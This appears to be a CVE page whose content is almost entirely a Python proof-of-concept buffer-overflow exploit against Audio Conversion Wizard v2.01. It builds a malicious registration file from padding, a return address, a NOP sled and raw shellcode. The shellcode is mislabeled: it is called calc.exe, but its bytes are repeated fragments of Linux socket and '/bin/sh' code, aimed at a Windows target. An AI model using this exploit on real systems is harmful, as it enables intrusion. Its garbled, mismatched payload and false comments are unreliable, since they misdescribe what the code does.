CVE-2022-50922 Audio Conversion Wizard v2.01 缓冲区溢出漏洞

# CVE-2022-50922 PoC - Audio Conversion Wizard v2.01 Buffer Overflow # This is a conceptual proof-of-concept for educational and defensive purposes only import struct import sys def generate_exploit_payload(): """ Generate a buffer overflow payload for Audio Conversion Wizard v2.01 The actual offsets and shellcode may vary based on the target environment """ # Buffer size before overwriting return address buffer_size = 1008 # Approximate offset to EIP # NOP sled for reliable exploitation nop_sled = b'\x90' * 200 # Shellcode for calc.exe or reverse shell # This is a placeholder - actual shellcode would be environment-specific # Example: calc.exe shellcode (calc = calculator) shellcode = ( b'\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\x89\xe1\xb0\x66\x31\xdb\x43\x31\xd2\xcd\x80\x89\xc7\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x66\x31\xdb\x43\x31\xd2\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xff\x41\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x66\x31\xdb\x43\x31\xd2\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\xb0\x3f\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x66\x31\xdb\x43\x31\xd2\xcd\x80' ) # Return address pointing to NOP sled (0x0012F5A0 - example address) return_address = struct.pack('<I', 0x0012F5A0) # Construct the overflow buffer payload = b'A' * buffer_size + return_address + nop_sled + shellcode return payload def create_registration_file(): """Create a registration file with exploit payload""" payload = generate_exploit_payload() # Save to file that the application might read during registration with open('exploit_reg.txt', 'wb') as f: f.write(payload) print(f"[+] Exploit payload generated: {len(payload)} bytes") print(f"[+] Payload saved to exploit_reg.txt") print(f"[!] This PoC is for educational purposes only") if __name__ == '__main__': create_registration_file()